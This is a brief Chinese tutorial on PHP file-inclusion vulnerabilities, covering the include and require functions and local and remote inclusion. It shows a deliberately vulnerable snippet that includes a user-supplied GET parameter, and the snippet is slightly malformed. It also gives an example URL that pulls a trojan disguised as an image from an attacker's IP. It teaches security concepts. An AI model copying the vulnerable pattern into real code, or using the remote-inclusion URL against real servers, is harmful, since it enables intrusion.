文件包含漏洞概述及分类演示
包含漏洞简介
包含操作,在大多数Web语言中都会提供的功能,但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状,很多初学者认为包含漏洞只出现PHP语言之中,殊不知在其他语言中可能出现包含漏洞。这也应了一句老话:功能越强大,漏洞就越多。
漏洞原因
包含漏洞不是语言的问题,而是人的思维问题
PHP中的四个包含文件函数
include()
include_once()
require()
require_once()
做代码审计,应该着重找这几个函数
原因就是这几个函数的参数值都会当做php文件解析
PHP包含漏洞分类
本地包含 LIF
即把函数后的参数修改成为服务器本地的文件
例如
main.php
<?p
include''$_GET[page]'';
?>
1.html
页面1
此时输入http://192.168.1.55:8080/include/main.php?page=1.html
就可以直接执行1.html了
注意配置文件php.ini需要allow_url_include=on 并且 magic_quotes_gpc=off
远程包含
即把函数后的参数修改成为攻击者指定的web站点目录下的文件,都不一定是攻击者自身站点,任何站点都可以
直接输入http://192.168.1.55:8080/include/main.php?page=攻击者IP/include/muma.jpg